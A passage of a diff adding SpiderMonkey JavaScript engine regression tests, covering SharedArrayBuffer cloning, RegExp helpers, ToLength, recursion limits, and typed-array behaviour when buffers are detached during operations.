+ assertEq(v[3], 3);
+ assertEq(v[4], 3);
+ assertEq(v[5], 4);
+ assertEq(v[6], -1);
+ assertEq(v[7], -2);
+ assertEq(v[8], -4);
+ assertEq(v[9], -5);
+}
+
+function testClone1() {
+ var sab1 = b;
+ var blob = serialize(sab1, [], {SharedArrayBuffer: 'allow'});
+ var sab2 = deserialize(blob, {SharedArrayBuffer: 'allow'});
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(sab1), sharedAddress(sab2));
+}
+
+function testClone2() {
+ var sab = b;
+ var ia1 = new Int32Array(sab);
+ var blob = serialize(ia1, [], {SharedArrayBuffer: 'allow'});
+ var ia2 = deserialize(blob, {SharedArrayBuffer: 'allow'});
+ assertEq(ia1.length, ia2.length);
+ assertEq(ia1.buffer instanceof SharedArrayBuffer, true);
+ if (typeof sharedAddress != "undefined")
+ assertEq(sharedAddress(ia1.buffer), sharedAddress(ia2.buffer));
+ ia1[10] = 37;
+ assertEq(ia2[10], 37);
+}
+
+// Serializing a SharedArrayBuffer should fail if we've set its flag to 'deny' or if
+// the flag is bogus or if the flag is not set to 'allow' explicitly
+
+function testNoClone() {
+ // This just tests the API in serialize()
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: false}), Error);
+
+ // This tests the actual cloning functionality - should fail
+ assertThrowsInstanceOf(() => serialize(b, [], {SharedArrayBuffer: 'deny'}), TypeError);
+
+ // This tests that cloning a SharedArrayBuffer is not allowed by default
+ assertThrowsInstanceOf(() => serialize(b), TypeError);
+
+ // Ditto - should succeed
+ assertEq(typeof serialize(b, [], {SharedArrayBuffer: 'allow'}), "object");
+
+ let blob = serialize(b, [], {SharedArrayBuffer: 'allow'});
+ // This just tests the API in deserialize()
+ assertThrowsInstanceOf(() => deserialize(blob, {SharedArrayBuffer: false}), Error);
+
+ // This tests the actual cloning functionality - should fail
+ assertThrowsInstanceOf(() => deserialize(blob, {SharedArrayBuffer: 'deny'}), TypeError);
+
+ // This tests that cloning a SharedArrayBuffer is not allowed by default
+ assertThrowsInstanceOf(() => deserialize(blob), TypeError);
+
+ // Ditto - should succeed
+ assertEq(typeof deserialize(blob, {SharedArrayBuffer: 'allow'}), "object");
+}
+
+function testRedundantTransfer() {
+ // Throws TypeError in the shell, DataCloneError in the browser.
+ assertThrowsInstanceOf(() => {
+ var sab1 = b;
+ var blob = serialize(sab1, [sab1], {SharedArrayBuffer: 'allow'});
+ }, TypeError);
+}
+
+function testApplicable() {
+ var sab = b;
+ var x;
+
+ // Just make sure we can create all the view types on shared memory.
+
+ x = new Int32Array(sab);
+ assertEq(x.length, sab.byteLength / Int32Array.BYTES_PER_ELEMENT);
+ x = new Uint32Array(sab);
+ assertEq(x.length, sab.byteLength / Uint32Array.BYTES_PER_ELEMENT);
+
+ x = new Int16Array(sab);
+ assertEq(x.length, sab.byteLength / Int16Array.BYTES_PER_ELEMENT);
+ x = new Uint16Array(sab);
+ assertEq(x.length, sab.byteLength / Uint16Array.BYTES_PER_ELEMENT);
+
+ x = new Int8Array(sab);
+ assertEq(x.length, sab.byteLength / Int8Array.BYTES_PER_ELEMENT);
+ x = new Uint8Array(sab);
+ assertEq(x.length, sab.byteLength / Uint8Array.BYTES_PER_ELEMENT);
+
+ // Though the atomic operations are illegal on Uint8ClampedArray and the
+ // float arrays, they can still be used to create views on shared memory.
+
+ x = new Uint8ClampedArray(sab);
+ assertEq(x.length, sab.byteLength / Uint8ClampedArray.BYTES_PER_ELEMENT);
+
+ x = new Float32Array(sab);
+ assertEq(x.length, sab.byteLength / Float32Array.BYTES_PER_ELEMENT);
+ x = new Float64Array(sab);
+ assertEq(x.length, sab.byteLength / Float64Array.BYTES_PER_ELEMENT);
+}
+
+if (this.SharedArrayBuffer) {
+ testSharedArrayBuffer();
+ testSharedTypedArray();
+ testSharedTypedArrayMethods();
+ testClone1();
+ testClone2();
+ testNoClone();
+ testRedundantTransfer();
+ testApplicable();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/shell.js b/js/src/tests/non262/extensions/shell.js
new file mode 100644
index 0000000000..e7381a0b93
--- /dev/null
+++ b/js/src/tests/non262/extensions/shell.js
@@ -0,0 +1,345 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+(function(global) {
+ /*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+ //-----------------------------------------------------------------------------
+
+ var MSG_PATTERN = '\nregexp = ';
+ var MSG_STRING = '\nstring = ';
+ var MSG_EXPECT = '\nExpect: ';
+ var MSG_ACTUAL = '\nActual: ';
+ var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+ var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+ var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+ var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+ var CHAR_LBRACKET = '[';
+ var CHAR_RBRACKET = ']';
+ var CHAR_QT_DBL = '"';
+ var CHAR_QT = "'";
+ var CHAR_NL = '\n';
+ var CHAR_COMMA = ',';
+ var CHAR_SPACE = ' ';
+ var TYPE_STRING = typeof 'abc';
+
+
+
+ function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+ {
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+ }
+
+ global.testRegExp = testRegExp;
+
+ function getState(status, pattern, string)
+ {
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+ }
+
+
+ /*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+ function formatArray(arr)
+ {
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+ }
+
+
+ /*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+ function toSource(arr)
+ {
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+ }
+
+
+ function doubleQuote(text)
+ {
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+ }
+
+
+ function singleQuote(text)
+ {
+ return CHAR_QT + text + CHAR_QT;
+ }
+
+})(this);
+
+
+(function(global) {
+
+ // The Worker constructor can take a relative URL, but different test runners
+ // run in different enough environments that it doesn't all just automatically
+ // work. For the shell, we use just a filename; for the browser, see browser.js.
+ var workerDir = '';
+
+ // Assert that cloning b does the right thing as far as we can tell.
+ // Caveat: getters in b must produce the same value each time they're
+ // called. We may call them several times.
+ //
+ // If desc is provided, then the very first thing we do to b is clone it.
+ // (The self-modifying object test counts on this.)
+ //
+ function clone_object_check(b, desc) {
+ function classOf(obj) {
+ return Object.prototype.toString.call(obj);
+ }
+
+ function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+ }
+
+ function isArrayLength(obj, pair) {
+ return Array.isArray(obj) && pair[0] == "length";
+ }
+
+ function isCloneable(obj, pair) {
+ return isArrayLength(obj, pair) || (typeof pair[0] === 'string' && pair[1].enumerable);
+ }
+
+ function notIndex(p) {
+ var u = p >>> 0;
+ return !("" + u == p && u != 0xffffffff);
+ }
+
+ function assertIsCloneOf(a, b, path) {
+ assertEq(a === b, false);
+
+ var ca = classOf(a);
+ assertEq(ca, classOf(b), path);
+
+ assertEq(Object.getPrototypeOf(a),
+ ca == "[object Object]" ? Object.prototype : Array.prototype,
+ path);
+
+ // 'b', the original object, may have non-enumerable or XMLName
+ // properties; ignore them (except .length, if it's an Array).
+ // 'a', the clone, should not have any non-enumerable properties
+ // (except .length, if it's an Array) or XMLName properties.
+ var pb = ownProperties(b).filter(function(element) {
+ return isCloneable(b, element);
+ });
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ assertEq(typeof pa[i][0], "string", "clone should not have E4X properties " + path);
+ if (!isCloneable(a, pa[i])) {
+ throw new Error("non-cloneable clone property " + pa[i][0] + " " + path);
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ if (!isArrayLength(a, pa[i])) {
+ assertEq(da.configurable, true, path2);
+ }
+ assertEq(da.writable, true, path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ if (typeof va === "object" && va !== null)
+ queue.push([va, vb, path2]);
+ else
+ assertEq(va, vb, path2);
+ }
+ }
+
+ var banner = "while testing clone of " + (desc || JSON.stringify(b));
+ var a = deserialize(serialize(b));
+ var queue = [[a, b, banner]];
+ while (queue.length) {
+ var triple = queue.shift();
+ assertIsCloneOf(triple[0], triple[1], triple[2]);
+ }
+
+ return a; // for further testing
+ }
+ global.clone_object_check = clone_object_check;
+
+})(this);
diff --git a/js/src/tests/non262/extensions/sps-generators.js b/js/src/tests/non262/extensions/sps-generators.js
new file mode 100644
index 0000000000..e165649446
--- /dev/null
+++ b/js/src/tests/non262/extensions/sps-generators.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 822041;
+var summary = "Live generators should not cache Gecko Profiler state";
+
+print(BUGNUMBER + ": " + summary);
+
+function* gen() {
+ var x = yield turnoff();
+ yield x;
+ yield 'bye';
+}
+
+function turnoff() {
+ print("Turning off profiler\n");
+ disableGeckoProfiling();
+ return 'hi';
+}
+
+for (var slowAsserts of [ true, false ]) {
+ // The slowAssertions setting is not expected to matter
+ if (slowAsserts)
+ enableGeckoProfilingWithSlowAssertions();
+ else
+ enableGeckoProfiling();
+
+ g = gen();
+ assertEq(g.next().value, 'hi');
+ assertEq(g.next('gurgitating...').value, 'gurgitating...');
+ for (var x of g)
+ assertEq(x, 'bye');
+}
+
+// This is really a crashtest
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js b/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js
new file mode 100644
index 0000000000..a0a5714053
--- /dev/null
+++ b/js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var f;
+try
+{
+ f = eval("(function literalInside() { return { set 'c d e'(v) { } }; })");
+}
+catch (e)
+{
+ assertEq(true, false,
+ "string-literal property name in setter in object literal in " +
+ "function statement failed to parse: " + e);
+}
+
+var fstr = "" + f;
+assertEq(fstr.indexOf("set") < fstr.indexOf("c d e"), true,
+ "should be using new-style syntax with string literal in place of " +
+ "property identifier");
+assertEq(fstr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+var o = f();
+var ostr = "" + o;
+assertEq("c d e" in o, true, "missing the property?");
+assertEq("set" in Object.getOwnPropertyDescriptor(o, "c d e"), true,
+ "'c d e' property not a setter?");
+// disabled because we still generate old-style syntax here (toSource
+// decompilation is as yet unfixed)
+// assertEq(ostr.indexOf("set") < ostr.indexOf("c d e"), true,
+// "should be using new-style syntax when getting the source of a " +
+// "getter/setter while decompiling an object");
+// assertEq(ostr.indexOf("setter") < 0, true, "using old-style syntax?");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/toLength.js b/js/src/tests/non262/extensions/toLength.js
new file mode 100644
index 0000000000..f2216e7b9c
--- /dev/null
+++ b/js/src/tests/non262/extensions/toLength.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+var BUGNUMBER = 1040196;
+var summary = 'ToLength';
+
+print(BUGNUMBER + ": " + summary);
+
+var ToLength = getSelfHostedValue('ToLength');
+
+// Negative operands
+assertEq(ToLength(-0), 0);
+assertEq(ToLength(-1), 0);
+assertEq(ToLength(-2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56)), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2.4444), 0);
+assertEq(ToLength(-Infinity), 0);
+
+// Small non-negative operands
+assertEq(ToLength(0), 0);
+assertEq(ToLength(1), 1);
+assertEq(ToLength(2), 2);
+assertEq(ToLength(3.3), 3);
+assertEq(ToLength(10/3), 3);
+
+// Large non-negative operands
+var maxLength = Math.pow(2, 53) - 1;
+assertEq(ToLength(maxLength - 1), maxLength - 1);
+assertEq(ToLength(maxLength - 0.0000001), maxLength);
+assertEq(ToLength(maxLength), maxLength);
+assertEq(ToLength(maxLength + 0.00000000000001), maxLength);
+assertEq(ToLength(maxLength + 1), maxLength);
+assertEq(ToLength(maxLength + 2), maxLength);
+assertEq(ToLength(Math.pow(2,54)), maxLength);
+assertEq(ToLength(Math.pow(2,64)), maxLength);
+assertEq(ToLength(Infinity), maxLength);
+
+// NaN operand
+assertEq(ToLength(NaN), 0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js b/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js
new file mode 100644
index 0000000000..a11433ce46
--- /dev/null
+++ b/js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653789;
+var summary = 'Check for too-deep stack when calling toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ "" + { toString: Object.prototype.toLocaleString };
+ throw new Error("should have thrown on over-recursion");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/toSource-infinite-recursion.js b/js/src/tests/non262/extensions/toSource-infinite-recursion.js
new file mode 100644
index 0000000000..7c5600fc82
--- /dev/null
+++ b/js/src/tests/non262/extensions/toSource-infinite-recursion.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!Error.prototype.toSource)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 650574;
+var summary = 'Check for too-deep stack when converting a value to source';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ var e = Error('');
+ e.fileName = e;
+ e.toSource();
+ throw new Error("should have thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof InternalError, true,
+ "should have thrown for over-recursion");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js b/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js
new file mode 100644
index 0000000000..e108e4c0b2
--- /dev/null
+++ b/js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js
@@ -0,0 +1,54 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "too-many-arguments-constructing-bound-function.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1303678;
+var summary =
+ "Don't assert trying to construct a bound function whose bound-target " +
+ "construct operation passes more than ARGS_LENGTH_MAX arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const ARGS_LENGTH_MAX = typeof getMaxArgs === "function"
+ ? getMaxArgs()
+ : 500000;
+
+const halfRoundedDown = Math.floor(ARGS_LENGTH_MAX / 2);
+const halfRoundedUp = Math.ceil(ARGS_LENGTH_MAX / 2);
+
+function boundTarget()
+{
+ return new Number(arguments.length);
+}
+
+var boundArgs = Array(halfRoundedDown).fill(0);
+var boundFunction = boundTarget.bind(null, ...boundArgs);
+
+var additionalArgs = Array(halfRoundedUp + 1).fill(0);
+
+try
+{
+ assertEq(new (boundFunction)(...additionalArgs).valueOf(),
+ ARGS_LENGTH_MAX + 1);
+ // If we reach here, that's fine -- it's okay if ARGS_LENGTH_MAX isn't
+ // precisely respected, because there's no specified exact limit.
+}
+catch (e)
+{
+ assertEq(e instanceof RangeError, true,
+ "SpiderMonkey throws RangeError for too many args");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js b/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js
new file mode 100644
index 0000000000..34b0ab5558
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js
@@ -0,0 +1,111 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "typedarray-copyWithin-arguments-detaching.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 991981;
+var summary =
+ "%TypedArray.prototype.copyWithin shouldn't misbehave horribly if " +
+ "index-argument conversion detaches the underlying ArrayBuffer";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testBegin()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var begin =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x800;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, begin, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testBegin();
+
+function testEnd()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var end =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0x1000;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(0, 0x800, end);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testEnd();
+
+function testDest()
+{
+ var ab = new ArrayBuffer(0x1000);
+
+ var dest =
+ {
+ valueOf: function()
+ {
+ detachArrayBuffer(ab);
+ return 0;
+ }
+ };
+
+ var ta = new Uint8Array(ab);
+
+ var ok = false;
+ try
+ {
+ ta.copyWithin(dest, 0x800, 0x1000);
+ }
+ catch (e)
+ {
+ ok = true;
+ }
+ assertEq(ok, true, "start weirdness should have thrown");
+ assertEq(ab.byteLength, 0, "detaching should work for start weirdness");
+}
+testDest();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-set-neutering.js b/js/src/tests/non262/extensions/typedarray-set-neutering.js
new file mode 100644
index 0000000000..a0778a371e
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-set-neutering.js
@@ -0,0 +1,45 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 983344;
+var summary =
+ "Uint8Array.prototype.set issues when this array changes during setting";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ab = new ArrayBuffer(200);
+var a = new Uint8Array(ab);
+var a_2 = new Uint8Array(10);
+
+var src = [ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ 10, 20, 30, 40,
+ ];
+Object.defineProperty(src, 4, {
+ get: function () {
+ detachArrayBuffer(ab);
+ gc();
+ return 200;
+ }
+});
+
+assertThrowsInstanceOf(() => a.set(src), TypeError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js b/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js
new file mode 100644
index 0000000000..fcfb031cb5
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 637643;
+var summary =
+ "new Int8Array([1, 2, 3]).subarray(1).subarray(1)[0] === 3";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ta = new Int8Array([1, 2, 3]);
+assertEq(ta.length, 3);
+assertEq(ta[0], 1);
+assertEq(ta[1], 2);
+assertEq(ta[2], 3);
+
+var sa1 = ta.subarray(1);
+assertEq(sa1.length, 2);
+assertEq(sa1[0], 2);
+assertEq(sa1[1], 3);
+
+var sa2 = sa1.subarray(1);
+assertEq(sa2.length, 1);
+assertEq(sa2[0], 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/typedarray.js b/js/src/tests/non262/extensions/typedarray.js
new file mode 100644
index 0000000000..2cb64f57fb
--- /dev/null
+++ b/js/src/tests/non262/extensions/typedarray.js
@@ -0,0 +1,655 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: js2; tab-width: 40; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Vladimir Vukicevic <vladimir@pobox.com>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 532774;
+var summary = 'js typed arrays (webgl arrays)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+if (typeof numberToDouble !== 'function') {
+ var numberToDouble = SpecialPowers.Cu.getJSTestingFunctions().numberToDouble;
+}
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ var TestPassCount = 0;
+ var TestFailCount = 0;
+ var TestTodoCount = 0;
+
+ var TODO = 1;
+
+ function check(fun, msg, todo) {
+ var thrown = null;
+ var success = false;
+ try {
+ success = fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (thrown)
+ success = false;
+
+ if (todo) {
+ TestTodoCount++;
+
+ if (success) {
+ var ex = new Error;
+ print ("=== TODO but PASSED? ===");
+ print (ex.stack);
+ print ("========================");
+ }
+
+ return;
+ }
+
+ if (success) {
+ TestPassCount++;
+ } else {
+ TestFailCount++;
+
+ var ex = new Error;
+ print ("=== FAILED ===");
+ if (msg)
+ print (msg);
+ print (ex.stack);
+ if (thrown) {
+ print (" threw exception:");
+ print (thrown);
+ }
+ print ("==============");
+ }
+ }
+
+ function checkThrows(fun, type, todo) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (typeof(type) !== 'undefined')
+ if (thrown) {
+ check(() => thrown instanceof type,
+ "expected " + type.name + " but saw " + thrown,
+ todo);
+ } else {
+ check(() => thrown, "expected " + type.name + " but no exception thrown", todo);
+ }
+ else
+ check(() => thrown, undefined, todo);
+ }
+
+ function checkThrowsTODO(fun, type) {
+ checkThrows(fun, type, true);
+ }
+
+ function testBufferManagement() {
+ // Single buffer
+ var buffer = new ArrayBuffer(128);
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the view first
+ buffer = new ArrayBuffer(128);
+ var v1 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ buffer = null;
+ gc();
+
+ // Buffer with single view, kill the buffer first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ gc();
+ buffer = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill first view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v1 = null;
+ gc();
+ v2 = null;
+ gc();
+
+ // Buffer with multiple views, kill second view first
+ buffer = new ArrayBuffer(128);
+ v1 = new Uint8Array(buffer);
+ v2 = new Uint8Array(buffer);
+ gc();
+ v2 = null;
+ gc();
+ v1 = null;
+ gc();
+
+ // Buffer with multiple views, kill all possible subsets of views
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 16; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
+ // Kill views according to the bits set in 'order'
+ for (let i = 0; i < 4; i++) {
+ if (order & (1 << i))
+ views[i] = null;
+ }
+
+ gc();
+
+ views = null;
+ gc();
+ }
+
+ // Similar: multiple views, kill them one at a time in every possible order
+ buffer = new ArrayBuffer(128);
+ for (let order = 0; order < 4*3*2*1; order++) {
+ var views = [ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer),
+ new Uint8Array(buffer) ];
+ gc();
+
